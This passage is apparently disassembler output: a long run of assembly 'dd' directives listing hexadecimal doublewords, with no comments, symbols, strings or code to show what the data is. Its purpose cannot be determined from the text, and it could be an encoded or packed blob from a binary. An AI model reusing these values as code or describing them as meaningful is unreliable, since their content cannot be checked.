0DDC04B1Ch dd 424C7CC1h, 0A246181Fh, 0B85AD025h, 681C20AFh, 34C2BE0Eh dd 43E23366h, 0FA39B400h, 176CE905h, 7729C092h, 8BAC9D73h dd 4A48A03Ah, 4A2CB905h, 484339FFh, 0AA4C96B4h, 0C5C68A4Ch dd 0D15200A8h, 7568C28Dh, 678A5479h, 7B54D9C8h, 0F7F11A42h dd 7E684E22h, 9E2A225Ch, 0BD05278Eh, 39EE1C26h, 0ED00C8E8h dd 567D6035h, 0A1609AE9h, 66C9684Ah, 597C27DEh, 0E95082D4h dd 0BC0F4AF6h, 6CEB80E7h, 0FA79957Ch, 1B506428h, 8B6580F9h dd 0B3A0D71Bh, 5E8183B0h, 9498ECD8h, 0C4605297h, 73043D71h dd 0C26FE93Ah, 0B063ACBBh, 0C4BC3BEh, 0F32923DAh, 62415250h dd 8F0A5E41h, 9733902Fh, 2E32AF19h, 0CDBB184Dh, 0F993F0Fh dd 0C5EB6FE0h, 5FF4307Ch, 19B1AAC8h, 6BDEF6B6h, 3504F7F8h dd 0C7301DB7h, 0BBFE3501h, 39807398h, 0E9986FC1h, 28290C58h dd 0B010F16Eh, 0E0E2166Dh, 7A9E074Ah, 340BD569h, 57C973F9h dd 0E916899Eh, 0D8AA99EFh, 917A034Bh, 0E2377BF7h, 30592BB7h dd 0A9E6D644h, 73F0BB13h, 53D2575h, 18903FEh, 2A107DD8h dd 973C6866h, 82609616h, 13DF49B8h, 0D5DCAF7Ch, 0B6A51ABh dd 0BC6A6571h, 4F5F8826h, 2FE957E2h, 7B68B0E8h, 4AF94256h dd 5197FB9h, 0D42A2A6Ah, 0E62D2548h, 0E26E20Ah, 4F11B407h dd 1AC1B4A2h, 20255660h, 87409FDBh, 6ED3CC0h, 866ECC15h dd 522D92Fh, 0D509EB04h, 0C3090C5h, 9D9648E9h, 6EEE0AA0h dd 500749Eh, 68E43C7Fh, 0B45598E9h, 2BF951AAh, 0D85F770Bh dd 12BE74F2h, 0B01DE622h, 0A2CB465Eh, 59D331B6h, 74E4A27Fh dd 0D62D6609h, 0D8578007h, 0C656FD68h, 0A29385Dh, 0CD2CB961h dd 0D631C17Fh, 120806A6h, 0B8B4C0E6h, 990D0E14h, 0B10B90Dh dd 0E922023Eh, 0C5A04A44h, 3F8F6F61h, 0E0F8D9F7h, 0E9174579h dd 0CC4F05E8h, 37FCA27Dh, 0BF03D531h, 21C95BDFh, 99A248F8h dd 0C5CCA65Fh, 4223E392h, 8505113h, 58097F88h, 125A96FDh dd 0A33D09E9h, 2F4C48A3h, 903A4654h, 0FA800FFh, 0EABB2A5Ch dd 2C1D58C5h, 310AC329h, 0ED10BAD9h, 0E4D5FB4Ah, 0FD64019h dd 21934F23h, 2B358630h, 17733A8Eh, 675350E5h, 0BAD3D50Bh dd 0DAC4D99h, 0AA941603h, 4ECCC48Ch, 5E53A72Fh, 690E5E45h dd 2C90B890h, 95585091h, 43F71AB8h, 0E8035C9Dh, 793BA984h dd 692092CCh, 4464620h, 837C0950h, 0F8FA01C1h, 0E42A7107h dd 817F497Fh, 15299BFBh, 0FB9BE3CAh, 36CAB582h, 2859984Eh dd 9D538040h, 8C62B065h, 820936h, 0F7094EBCh, 3AC15C19h dd 0D531D404h, 19368ADh, 920840DAh, 0E10C8243h, 5CBA9D9Ah dd 0B50218Ch, 0CF05C330h, 0F769BBF0h, 29FCF96Eh, 4C6CE5B4h dd 70B70FB9h, 0CE0B2FE0h, 8148907Fh, 0C52E10F3h, 0A92350FCh dd 1B686841h, 0CDD3C203h, 10E90AABh, 0ACAC3EBCh, 0EB7691C5h dd 0E95D3030h, 0E8792B9h, 0DE3D70BEh, 5EF12162h, 56A7F840h dd 0D2080BB9h, 947E257Bh, 0E04CD76Bh, 0E08F5F58h, 7EE03B49h dd 35C60542h, 0BF794446h, 0F7560FC0h, 0CFC7B614h, 5F7CD62Ch dd 2B4C34Eh, 8E751863h, 4595707Dh, 0A8529328h, 2576DB5Ch dd 7A81E2DEh, 2F702655h, 8129285Ch, 0B32E5B1Dh, 0CBE917FFh dd 6B2D8DBBh, 4230DAD2h, 0C90140D4h, 8253947Dh, 6FCA0E63h dd 687368D5h, 0F4EFAE85h, 74364E97h, 0C773C803h, 29308F61h dd 6D7058C2h, 9885B553h, 0EFCF1464h, 93B9948h, 41A949D0h dd 2B17F19Dh, 951364A6h, 0CDA84193h, 82586B18h, 0E62DE8EAh dd 0A0067514h, 395AC45Dh, 295C5C05h, 0EC5A41A6h, 646A00D7h dd 99BD2E9Fh, 476327F0h, 2420FE50h, 2344CB9Eh, 0E5F53062h dd 1F688788h, 0C4D70B74h, 5156B532h, 2666F608h, 1002407h dd 5DF34FBBh, 41306129h, 507931C1h, 7A7CEEF1h, 0F004A7F5h dd 98A12DF4h, 92FB905Dh, 0BE5D80CFh, 861FA409h, 54705785h dd 85391832h, 7622550Bh, 0AA8EF1F7h, 0A65E2809h, 4D0CA9E5h dd 4B4D88DAh, 9FA7F281h, 1640B217h, 10706DBFh, 0FB292576h dd 0C38160E5h, 0C804601h, 0D38AB2Fh, 0A3C632E9h, 12DC584Eh dd 27872F08h, 430C8AF4h, 12C03A4Bh, 0FEEAC711h, 0B4A78114h dd 12ABA501h, 0CEE5474Ch, 0EED2AB68h, 0B50258E4h, 674BDA5Ah dd 0F9B3ED80h, 45D072Ch, 6ED828FEh, 6616BC9Dh, 8B2EFD5Bh dd 1A55008h, 0E30196BAh, 60D62936h, 18D3F9E3h, 0E51D10BCh dd 0FC4AFCBFh, 8C24AD0Dh, 0BECF5831h, 5A4F1A20h, 1492C8BCh dd 10393525h, 0DE2A68C0h, 0C020C273h, 60CEFEA7h, 0C1BD0A65h dd 107F7F49h, 0DB02884Eh, 774DDDF7h, 6205B53h, 0E83DAB7h dd 0C33884F5h, 5DEE49DFh, 0A706FB77h, 0A5E248F4h, 0FE010338h dd 62AE0AB9h, 72110067h, 0DD685DC6h, 0A7989555h, 0BE011843h dd 42D2F773h, 0E04915E9h, 0C9870F6Eh, 1AA770C3h, 8CD219F1h dd 2AFB31D4h, 9EC8BF77h, 0BE045606h, 669F470Ch, 36249180h dd 0E91D13B7h, 5A98F001h, 5F82901h, 60507E07h, 8234EE70h dd 0C13D80F7h, 7D5102EFh, 0F1EC2D52h, 0CBB09655h, 265059FBh dd 1BA4DCC0h, 2DE97248h, 0A45AD514h, 0EB52630Fh, 2C34656Ch dd 9368E242h, 9F66C6Ah, 4D2D076Eh, 3B0C2FADh, 0F1D4F9B2h dd 69BA4171h, 9D1638EDh, 0CA815C8Eh, 29176E5Bh, 805F7630h dd 310008B8h, 0E0D16AE3h, 3DB22D48h, 0EB5B3BE1h, 9F21172Ch dd 310B60E8h, 325A4DB8h dd 7BB6B702h, 26940F6h, 0C6A1BF4Eh, 0D537A1F5h, 3D2D6B31h dd 11C62287h, 8975592Bh, 826EC20Bh, 56BF8C5Bh, 0F830E2DFh dd 6804C15Bh, 148C7247h, 0C0D05BB2h, 0B15153F8h, 0ECB3F81Ch dd 3EDE26h, 0E38003EBh, 12DBF671h, 14FE5366h, 2F7CD7F4h dd 478BBC3h, 5131820h, 272DEF81h, 0C7B38035h, 0B148EEB5h dd 0DBA72E3Fh, 53AF7FAFh, 11F30BE3h, 4607C819h, 3DF80A14h dd 62C0B758h, 0E926EAD1h, 0DABDFC36h, 0C12533CBh, 6ABE8881h dd 7C3FF574h, 6C974F29h, 0D27FE42Eh, 30EFC9EFh, 0B09F5AB2h dd 0B709BDC9h, 0A319FE6h, 8E3617Bh, 3A518105h, 505A0012h dd 0C05E09B0h, 0FF0403E0h, 1070146Dh, 2D039FC7h, 91D6FB8h dd 0BD7004D2h, 69486837h, 13E0EFA4h, 3CFEF6B7h, 27FBD0C7h dd 747CC09Ch, 0B1185752h, 560B2849h, 78DFF718h, 0B4BA800Bh dd 0E7A92FD7h, 6F27CB70h, 4B1AD5FBh, 5944F3D6h, 5C8B95CBh dd 0D897DF46h, 94EE484Dh, 0F281D283h, 68EC32C0h, 0DC0386B8h dd 956185Fh, 0C2ACFAh, 67FB777Ah, 5F95D727h, 688577ABh dd 9C897FD0h, 122BCB2Bh, 8BBAA670h, 0EFD84146h, 0F4ED6901h dd 2D0B0A25h, 42375D3Eh, 5B410C58h, 78290F8h, 0ECB26882h dd 0B0E1A1A0h, 78F4F4CCh, 5602ED96h, 765D5455h, 4DB254DCh dd 0C52D8604h, 0C1BC5A54h, 0A11FD601h, 3D5E5248h, 0D8761012h dd 640EA058h, 95640EDh, 88DC59ABh, 7679D140h, 42E927A9h dd 505EFF42h, 0BB95752Dh, 0CF46805h, 0E3098B46h, 47F7186Dh dd 0FB89E6A0h, 506EFE9Dh, 5895D3F7h, 94D68017h, 80B44B7Ah dd 35762BEEh, 1FF1750h, 0E941BD94h, 0D1539AFAh, 0C9DE93C3h dd 266A5E0Fh, 870E68D6h, 12676468h, 284ACBEAh, 6818052Dh dd 0D5BB5C7Ah, 0C7E7C785h, 7D6FB286h, 13607F42h, 0D2C14FF1h dd 67D50565h, 4BFC248Ch, 3A9821EAh, 0BD10FF95h, 0EA0018F6h dd 0F329A5BDh, 92639AE9h, 505F05F3h, 0C14EB866h, 92968EC9h dd 33FEE887h, 30A3B5EFh, 5ACDEFD5h, 0C492E37Bh, 0A8AE0268h dd 6CEF92CEh, 4A25683Fh, 0F1B2184Bh, 7C88806Ah, 8B6664B7h dd 3F7EF9FDh, 0D84DBA3Dh, 0BF2D540h, 32D60EA4h, 73A7A300h dd 6BBF7DCEh, 1249895h, 4B46789Dh, 5A2E04E2h, 0C92FF259h dd 0F7EA626Eh, 67B5CAC4h, 1BE989F0h, 52604662h, 8D981ECFh dd 29DFCD25h, 1DEA75ADh, 0A5957A63h, 1733282Ah, 20B80D12h dd 0FAD997C4h, 9F69B9A3h, 12D21876h, 700C6106h, 0DC565B01h dd 4CC19AD7h, 0CB0C2EBEh, 0BACE5081h, 3B479B26h, 0AF0626B3h dd 0B24C4108h, 3E1F8276h, 0FCED29FDh, 6E0C3DD2h, 0CEFA25C4h dd 714C207Ch, 51CB2777h, 1F2D8913h, 59130E51h, 1A6D1E08h dd 51041468h, 0C916AD65h, 0C0B87C53h, 767C0A67h, 64446817h dd 0DF60568Dh, 0F612614Bh, 3F800EB7h, 41A03780h, 9134402Ah dd 799E7218h, 60D16424h, 25F530F4h, 165EC84Bh, 9F21EA4h dd 665B0E0Bh, 0F0CB204h, 0BBCE9856h, 9F60EC0Ah, 5528B594h dd 0E9250FBDh, 55E80A9h, 4ACC06DFh, 66E961h, 484CA124h dd 0B2E7BDE9h, 333A048Eh, 0B0403075h, 0BE015613h, 591F6682h dd 774D6F7h, 7175014Fh, 22E9515Bh, 504524F6h, 49A46800h dd 0F7583803h, 0C40D00D0h, 56E953Ch, 0EB007A36h, 5163354Bh dd 4EE984F1h, 0E21D405Eh, 459147C9h, 8976FEBFh, 5220B712h dd 55DD50F3h, 88B8875Fh, 399B2B18h, 0AB1FB4EDh, 177E5276h dd 27EE295Dh, 0D08182CAh, 2B98985Dh, 0F2C383B0h, 47FB3F9h dd 140C1FFh, 0EEF945CAh, 0B594249h, 0D1CC02DEh, 8AE90231h dd 7E1BA97Fh, 38179092h, 4968895Eh, 539C9856h, 1314F452h dd 46031Bh, 6B0BEACEh, 0E91B7B9Bh, 0DBC3B264h, 6EB48F67h dd 89D2ACAFh, 6C20F529h, 64946A44h, 0FB58E4EDh, 88AAF44Ah dd 932CE949h, 56F3AB8h, 7A406C84h, 0B414D968h, 5F31CF77h dd 0B547627h, 0FEB4B47Dh, 0EB42D3DAh, 24315238h, 3258C5h dd 7EAC62DBh, 91AA0CE9h, 0A02944FFh, 95339C06h, 8800C873h dd 8118710Bh, 579D0BE1h, 0F5637661h, 2A7F5291h, 1182F4D5h dd 3790FA64h, 0CDE38309h, 3EDFBA30h, 23CEA458h, 0C4D06D13h dd 7B412CB8h, 0F4614B37h, 5E4BF0B4h, 2985F6FDh, 0B273BF89h dd 0FBA2015Ch, 0E973376Fh, 2B07DC4h, 33919AEEh, 0F395E1B3h dd 5E1840CAh, 874830E9h, 76D4C625h, 9241D13Dh, 3A84A72h dd 0CFA15FCFh, 7F5E5A77h, 0E85A0BCAh, 0EADEA18Eh, 24E7C101h dd 1B2C76C1h, 0E60EA42Bh, 47EAC35Fh, 0F19A0146h, 9DC0308h dd 0EF5E81F7h, 0EBFF1F74h, 2B4B87Ah, 0D3553EE9h, 0AD285D62h dd 96AE3E08h, 0EBD18FD2h, 7A1ACBA3h, 0E3B0168Bh, 0D5592A61h dd 31250489h, 9F006028h, 18D06A4h, 27C5DE58h, 303C4114h dd 0B357E541h, 60688A3Fh, 0DF32A786h, 4B527677h, 3A4EA150h dd 8D967CE3h, 48EE2096h, 8A6340Bh, 0B07B8843h, 0FF5F227h dd 3C0B1ADFh, 73A92049h, 0B79094FDh, 0C6DDB231h, 0A2CDD9A7h dd 0AD40266Fh, 370B03EDh, 0B4D3AC4h, 0B70CE300h, 2C05AF5Fh dd 9F507351h, 665C37BEh, 0C5215BB6h, 7183D338h, 98610FC3h dd 84ABBE9Fh, 9FA9C455h, 3D6F70D9h, 58135467h, 26704EE9h dd 0DF0DBBDh, 3F159C9Fh, 409D63B0h, 85B95894h, 0ADC820ADh dd 0BF78A871h, 57AF0A5Eh, 3DD51D02h, 30FCB675h, 0BB30CC97h dd 0B9250743h, 0B140DD21h, 55282DEBh, 9220A0F2h, 0F20FA390h dd 88657F1Eh, 5B340C95h, 861227B3h, 10F7A320h, 583F6649h dd 3DCBD2Dh, 0A0637F6Bh, 8061EFE1h, 74B9BD24h, 90453A0Eh dd 44380904h, 0EB803705h, 4DA46DDDh, 0C40BA398h, 0C3268049h dd 0C13DD087h, 0D5090B91h, 16D62AE9h, 61C6C581h, 842B3A26h dd 0ECD0C1FDh, 310DF1F1h, 5193652Fh, 54114C49h, 0C4E3AEB7h dd 6BB2F093h, 4B640212h, 4DDFF4FFh, 4DDF735h, 0EA897500h dd 0BF31CACFh, 57251ED9h, 6E98C21h, 0A069B178h, 79C47086h dd 0B2E2B701h, 3E1C080Ch, 68907E17h, 41A47204h, 2D5C8012h dd 444834C2h, 0D98D1044h, 5830310Bh, 0B9B668ECh, 68D23160h dd 0C86ABFF7h, 88BD5BF5h, 5289222h, 0B38A43Ch, 4DF01CBh dd 4CC0D7ACh, 0B316862h, 0A77EE96Bh, 22174EF7h, 14A67BFh dd 5CA62CFAh, 68F1F704h, 86A32503h, 0B36E4A71h, 0CAF4180Fh dd 1EE5C161h, 0CB36B019h, 90E806D8h, 0EB2D5AC7h, 49EC5E4Dh dd 0FDAFD047h, 9EBDA016h, 0F9E91A42h, 0C05F22A0h, 2E126491h dd 0B04E599Ch, 0EC274A90h, 0B4272B78h, 514B1828h, 0AAD15A88h dd 6649145Dh, 9B72B5Bh, 7AB8902h, 0DC67EDCCh, 0B73D0899h dd 0D0540802h, 3FA78076h, 60177038h, 0DFAF0E43h, 315ED8E3h dd 0B5246305h, 0A84E44A7h, 5556F2DFh, 0B9C15676h, 43A67FFh dd 12EE49ADh, 1BC742F8h, 0CD550985h, 0B1E98648h, 591E3AC9h dd 350CFE21h, 31681A66h, 41256F95h, 60F981F1h, 217E2219h dd 95FC7Fh, 793DB1BDh, 959B87E9h, 9F4F345Fh, 71F0C2A2h dd 975BE657h, 0C140B5Ah, 18DA1554h, 3085101Bh, 4BF2963Eh dd 0AEFB3807h, 29F32F1Ch, 0B9218C4Eh, 0CA5A4E8Eh, 629010A5h dd 0E3283C7Eh, 0B3A5B516h, 0AAE1028Dh, 0DF257374h, 1B2A3722h dd 0FFDA0102h, 2C896BD9h, 3A105420h, 35FC5A27h, 4C4A7049h dd 0A67C4587h, 67BCF08Bh, 76680EAEh, 1B7A934Ah, 0C0AF0899h dd 9F79DE7Ah, 834FFEFCh, 7A256268h, 0F8A25533h, 65C7E640h dd 68C02774h, 0DE3E37FEh, 315F7081h, 18C7E22Ah, 0CB35C01Ch dd 1F519559h, 54A669ADh dd 7939EE2Bh, 8C40442Bh, 9C5CF860h, 97FB7FF4h, 2C8A99A6h dd 391D035Ah, 1E40CF01h, 0D129E908h, 5C4BDE99h, 0A8E96283h dd 0E941F45Fh, 0A667D5h, 408AB951h, 81004404h, 4C3FF0C9h dd 90E1D10Eh, 98D4E15h, 837D5DB3h, 588B2EC8h, 25789511h dd 40D9C15Ch, 9BEE5593h, 42E90C61h, 1CB11653h, 8FD9F62Ch dd 658280D1h, 0EE87CA20h, 96D70B95h, 9ADBFC69h, 0E1294FB2h dd 1D567EACh, 0DA5F84CBh, 0E08409E9h, 4447F4D3h, 720CC055h dd 3F484B6Eh, 7D158432h, 27068AABh, 0ADB15EC5h, 0AF42AB40h dd 95095B80h, 7A6176C8h, 5112717Fh, 0A6A1E1E9h, 0E819896Ah dd 0E89F39C6h, 9D1ED65Fh, 0D6BD879Eh, 0DE20F274h, 0E9711275h dd 5FB26C2Dh, 54745B3Ah, 0FFEA8161h, 76686BF8h, 0BF9EBA01h dd 0BDE06D5Bh, 9BF4F58h, 0E3FCE97Eh, 93EA65F5h, 0FF20615Ch dd 0CE54230h, 0FE2FC0Bh, 6636D3Bh, 0FF1EF87h, 0E54B82D7h dd 0C07C7F1Ch, 132DED46h, 0D7EB4912h, 31C93016h, 0EEC11C57h dd 8AC1B059h, 0F296CAFDh, 317ED89h, 181473EDh, 3860D62Bh dd 0BC5E5ADCh, 0F25CA348h, 7AB50CAh, 8462CDBFh, 99CF8031h dd 5897C56Ah, 0ABEF037Ah, 0E944522Bh, 68B5D0E4h, 0B12C11F6h dd 0F1075921h, 333110D1h, 3F30CF89h, 0D768806Eh, 7458181Eh dd 7E5B2D8Bh, 44044F3Ch, 2F06E2CEh, 465A07CAh, 1EC8BED5h dd 78090BEAh, 1FE97E3Ch, 8509EEC4h, 20BAA947h, 249CBACh dd 9AB047EAh, 38855758h, 85BC5E62h, 6430E2B7h, 0F5FB676Ah dd 205C2A08h, 772C05D1h, 0C5297C3Ah, 168BFB55h, 4F119150h dd 401BF37h, 3F1A1EB9h, 339F0CBDh, 508BA571h, 0C296E9DCh dd 9C4D7CECh, 0AA314480h, 0F234E938h, 11C76188h, 9D1570E9h dd 153FD845h, 17C3D17Bh, 0DEA3257Ch, 330AF93Dh, 9AB0902h dd 3A1A4A1Fh, 2D8AE8D7h, 4E23178Ch, 698E0841h, 9F170626h dd 96DF9DBCh, 1C4A98Ah, 58A3BE56h, 8E3A4237h, 96F14E0Eh dd 131CD47Eh, 0B267FA16h, 0C540A1A4h, 73590688h, 4B480CC4h dd 0F5BB80EEh, 3913B9F6h, 0B00489C1h, 5A09BF68h, 8B5F94C2h dd 89F404A9h, 3C875B02h, 0A96FD7FEh, 80E97C66h, 3F350F0Eh dd 3AC9E7D1h, 57E28202h, 0DFBDC919h, 0D74A26ADh, 0E352748Bh dd 0B235A5B0h, 0B8BCFF50h, 0F1566427h, 0AC6F1A51h, 45BD80F4h dd 0C17FAC0Ah, 0CA669CCAh, 0A2BD4004h, 0E398058h, 0F8C75EE9h dd 2C88F570h, 0A5043E93h, 0FEBD3A12h, 38A10E30h, 72940EEh dd 0FDD7F736h, 596109A6h, 6BDD0391h, 2A1604B2h, 0A82EA7BBh dd 0F09C2543h, 26BF9B58h, 9C57A546h, 9274B575h, 0BA3A38CDh dd 0F681CF40h, 5A5EB882h, 525C009Dh, 8A59B5BAh, 25E31758h dd 0BBF820E2h, 5B9612E0h, 8531EC89h, 87ADEB0Fh, 0B7112801h dd 6FD0F76Ah, 4048C000h, 971C3868h, 44072318h, 21065A09h dd 8E2538F0h, 0C25D8298h, 5FE9DFF4h, 18102FCEh, 8C824A97h dd 4071DFDAh, 50DDCB6Fh, 628B9931h, 0F4F1D830h, 0C66D77A5h dd 0DDFF5C93h, 0DAA17F92h, 0F418BD2Bh, 5B680D21h, 0EF16F7CAh dd 55BEC62Dh, 0EC30F63Ah, 755A7768h, 7B30F769h, 9D6F0172h dd 82E94D76h, 3AA86BF7h, 0ABB794C5h, 57320BE3h, 76D66428h dd 24FD872h, 76A532FDh, 6893558h, 0EAE6D411h, 1A26BBE5h dd 50541F15h, 0F1885DABh, 0A29B122Eh, 19B0ECC9h, 0EB41A5B1h dd 0D6835E7Bh, 0B905E0A7h, 52B7AD0Bh, 9554F036h, 0D35D30A9h dd 1069EA1Fh, 0D7F6174Ch, 0F81DE8F8h, 2876A030h, 5D5BFE90h dd 0E0873709h, 810BDCB5h, 75DF3055h, 7436312Ch, 7B5EEE12h dd 0F579FA3Ah, 0F1795427h, 25CCA461h, 15A49377h, 8806035Eh dd 0B7714F70h, 6FE9C5FEh, 0BEF513AAh, 4716199Bh, 668D4734h dd 0E3268F89h, 0BF07125Dh, 2D306469h, 7B0E4B5h, 0B7530351h dd 0C4B4500Eh, 802FB1B8h, 28ACEC0Eh, 0C9BABECCh, 0C0E98332h dd 0FBB70474h, 826EF947h, 0C108A5EBh, 1D0B1025h, 2F6FB148h dd 184253EAh, 9311CA82h, 0F2E70E0Bh, 0C6095B9h, 76123E10h dd 9659F0F6h, 50F4C5Bh, 247574A7h, 85050FAh, 0C028E912h dd 0B3DBACBh, 3BB8CA5Bh, 9D0EA503h, 0E2B84269h, 7E052196h dd 93A6E975h, 0FD4F9AE3h, 63BD9230h, 0E683FB96h, 3D86A1E4h dd 0DE2A09Bh, 9CC2CEFAh, 0EA06AEFAh, 9840F727h, 0B4960B0Ch dd 0B850F2F0h, 3AEBD134h, 55054C92h, 67D1EA4Bh, 0DD226513h dd 0FFA36B53h, 0B821DF0Eh, 32685F01h, 6C279679h, 77ECDB85h dd 2CAEC1B0h, 8E33622Dh, 770854FFh, 7FC2922Fh, 42849D32h dd 512EAC96h, 482A409Dh, 2767497Bh, 2F63150Ch, 0EE8E022Ah dd 0E94CED22h, 0BB976877h, 0DAC81230h, 497AC113h, 8EBD6FB7h dd 0B4F3EED2h, 0F890E9C4h, 0C1F25A7Ah, 2550889Fh, 8AEF8007h dd 0D4B16385h, 0CB52D1F4h, 0BC04490Ah, 5DB856C2h, 899FC02Ch dd 71848468h, 0A560FA40h, 797A94E7h, 0BA3B0BFh, 0A9FDE903h dd 0B763C457h, 7BD569C2h, 4CBE0251h, 0E9C2FC60h, 6291860h dd 0EA56443Ah, 0EE015034h, 0E7BF1D47h, 109EE68h, 0EAD7162Bh dd 784B620Ch, 0F2309455h, 25E0665Fh, 0F0485854h, 0F2B726DCh dd 80F044Bh, 0FC452A25h, 0D3E95CB4h, 90AFECD4h, 0B416E939h dd 31D519BFh, 0D0F6E18Bh, 0DCBE07F5h, 7CC28892h, 42F725E6h dd 0D5E42911h, 942D5C4Fh, 0C2F59E8Bh, 8E5B6393h, 0EC3AB78Ah dd 0E0D0424h, 65E02195h, 98C2842h, 24347DA7h, 3FC23B92h dd 0AA08C628h, 45397DC8h, 5811A5F3h, 2CA7163Eh, 18EEBCBDh dd 0D9BD3060h, 105AC15Bh, 3A41F35Fh, 3500CDA2h, 869624D3h dd 45BDC729h, 0B00F8881h, 0E9C5310Eh, 8E2658E5h, 51FE8015h dd 5370A07h, 0C9BDC1E9h, 511540F7h, 303EF168h, 0F35BE9B7h dd 0FD252399h, 8654010Bh, 5D7D1289h, 8741E972h, 0AE31162Ah dd 5D59A649h, 5E17716Ch, 8EF13768h, 0E5C7F83Eh, 0C0C19716h dd 26DD48B3h, 897DB56Fh, 30D7BCE4h, 0B751161Bh, 74226FEh dd 2D5903EEh, 7FA17AC8h, 31716812h, 3EEC30ABh, 849F8253h dd 0F8BA053Eh, 0F7F407FEh, 7F9B6461h, 312D3520h, 4C4F2F35h dd 70262C4h, 5594B5E9h, 8BB64BA2h, 6892195Dh, 24D1B6A2h dd 69525F16h, 0E8789904h, 0F635C315h, 80D590DDh, 0F98358CDh dd 0C5C3E915h, 4F6BD4Fh, 0B223BAAAh, 955AC82h, 0BB9EBCE4h dd 4B256396h, 0C28B1271h, 53C3ABA5h, 609703B6h, 9A38E94Ch dd 1FB800F0h, 407BFB1Ah, 0E5710548h, 6184042Dh, 525D104h dd 0E6F6DC7Bh, 0FD3F7B62h, 8B3FC35Ah, 80AFE1C7h, 0EB258B3Dh dd 0A85E3B4Ah, 56A9B813h, 4ADDB27Dh, 0C0B2BD6Bh, 26A06855h dd 5D3B3B28h, 0F1EAE997h, 57373BA5h, 0A0ED5ABBh, 9DCA0443h dd 0C7A64AD1h, 5E7F873Dh, 0F644BE02h, 1D4EB2B8h, 60F9C0FDh dd 0F30922E7h, 0F1D419Ch, 51A089h, 6159CF07h, 0D181BF4Eh dd 6A87EE2Ah, 78678105h, 0D603B3EBh, 9912F8FCh, 0CA1026AFh dd 3DAE0CD3h, 858B7E82h, 0D424BE5Ah, 0DF6798C2h, 94E2F351h dd 0E6DD4Fh, 39D30D4Bh, 0A32AF9DFh, 5852CA2Eh, 63701CE5h dd 0B4E92C45h, 7965B3BEh, 4B5C5825h, 0D1AF92A0h, 0AB844F56h dd 67680264h, 0BDEA465Dh, 0FF914A84h, 4FB2B677h, 4C09DAE0h dd 0EB001758h, 3EC81839h, 0BEB0CB01h, 0F0AF3394h, 0BF0C60A8h dd 0A520B5BBh, 0C42A4F7Ah, 0E61CA252h, 73D84CF9h, 97A0CD0h dd 424A091Eh, 0B564A055h, 0EC185A2Bh, 43F30CF2h, 360C1A0Dh dd 7EBBA417h, 469A02EAh, 5F56D3E9h, 0DF41B22Fh, 0CE868DBAh dd 0A2D20F4Bh, 482DA7AFh dd 457E864Dh, 0E9BF4E28h, 9F597AE7h, 0EA011D72h, 9C096DCBh dd 92C9841h, 12F76107h, 5288FF00h, 52953AF6h, 400883F0h dd 0E0E9141Ch, 5B989565h, 0C1839060h, 2C2A02C7h, 5F696D14h dd 39095F22h, 1B94877Fh, 41C3FC65h, 21058C4Fh, 4F2DFAD9h dd 0C505B83Fh, 60F42BD5h, 81698616h, 0A5B87EDCh, 64E36575h dd 0E95A0214h, 1D295D06h, 8B829507h, 0D500A555h, 0F5DA85A1h dd 8EB28B96h, 0CE325601h, 0E28E906h, 0E20569BBh, 0FB8717E4h dd 2E8ACA5h, 4FD19177h, 0AF03D664h, 40C5DC8Ch, 0C8FDBB0Dh dd 50D6F001h, 815E62E9h, 5CD9174h, 0E8EEF5FBh, 36B9B921h dd 0F5D0494Fh, 6B65F130h, 1793FF82h, 6F153ED1h, 0BC071D52h dd 1104D007h, 8F080584h, 1E521331h, 0FA1FC75Eh, 41B0C51Ah dd 4FB2BEC6h, 7760FEA6h, 4CEA3483h, 6FCCFE9Dh, 0E60D7C80h dd 865FE93Ch, 2169712h, 48C1DFBBh, 4962012h, 0A22B3CB8h dd 85CBEF49h, 5B5A6200h, 0E9F8316Bh, 9916875Ah, 2F78B3A8h dd 10F5E2E1h, 2F05729Ah, 24D413FDh, 0E2575D84h, 54EF09EAh dd 25BCF591h, 39C52A9Dh, 4BB6CEEFh, 7CE9B705h, 0E24049BFh dd 26644DD7h, 0E98018EAh, 7B1D42EBh, 0C3811E2Fh, 7AA25FA9h dd 0EBAA2C7Ah, 22C5700Bh, 654071DDh, 0BFC8F017h, 0F20EB700h dd 0BAE78115h, 1A30475h, 0EAA6E9h, 80B0B151h, 4F59B0E1h dd 0DAFEA4CDh, 26CE425Ch, 56057050h, 2FC1E537h, 22BD7C4Eh dd 6B87623Dh, 0C2FA3130h, 555EC932h, 0DDFD3F8Eh, 3EBBFFE5h dd 0C291F1F1h, 0DA5BFE75h, 98CD7AF7h, 0C568138Eh, 658ECC19h dd 10F94449h, 0BBCB1E45h, 5189C4D6h, 9D715AB9h, 8BEF76D0h dd 0D4F1797Eh, 0E5818018h, 1F24E43h, 7AFE7390h, 7FD4AA4Bh dd 8AF2A1AEh, 0FA561436h, 8A62D2A7h, 63D9F7C8h, 87D15569h dd 0D51C0969h, 71DD2E09h, 93F352D4h, 9B2C2628h, 224985DCh dd 59ACA8F3h, 37C5CF9Fh, 0E830BF97h, 48F37826h, 0B076C3Ch dd 0B31B7C12h, 42518F73h, 49126ADCh, 31B11AECh, 865661F2h dd 97B2E908h, 0A1F3D789h, 17B3309Ch, 82F340BDh, 0E9B0B608h dd 0E1F58889h, 4EC9E9AAh, 0BFFBC524h, 5FE90EF9h, 83643B71h dd 95A2A7E8h, 0F0596549h, 7A1414CFh, 2D9A0711h, 0EDA15DA8h dd 6046A94Eh, 0B7BEC8E2h, 416B542Dh, 0CD5FFA89h, 98DA20D1h dd 49734EBFh, 0AB97BBB8h, 24052852h, 7690CBE9h, 51073BB8h dd 52C1AC6Dh, 20B0BE00h, 7BE6135Ch, 561FB35Ah, 84B9D6ADh dd 0BA2D9F68h, 768FEA31h, 76B9E4Ah, 0AE08525Bh, 5CE9624Eh dd 5F5F6AF0h, 27A9E44Bh, 0D9F25519h, 0C5E9D992h, 586A9101h dd 188E6AD4h, 0C51D5B7Eh, 5ADDA3DBh, 166903E8h, 600DE57Dh dd 86B8E952h, 15DE695h, 7E494B99h, 30A209BDh, 0ED078122h dd 3BD10D22h, 52953D72h, 3F33958h, 0DCADD33Dh, 6C5F49E1h dd 84090780h, 56E0297Eh, 0F5C30BEh, 0EE954CEh, 0C0D9BC97h dd 360A7A69h, 0FA7C4E01h, 0C170524h, 9758DBF3h, 0B8BE8178h dd 334A7ACFh, 84ADD5FFh, 0EBAF212Eh, 0B3A76F60h, 6F76829h dd 0F97B94E9h, 25203290h, 815E599Dh, 3EFB350Fh, 306A8Fh dd 473A09B8h, 1685110h, 9B36EE4Dh, 30C83159h, 88671A46h dd 45B0EFD9h, 4C014BF5h, 3406D3DFh, 9425540Eh, 0F6272367h dd 0B0759A17h, 0B8B8AFAh, 567E50E9h, 0F8E15372h, 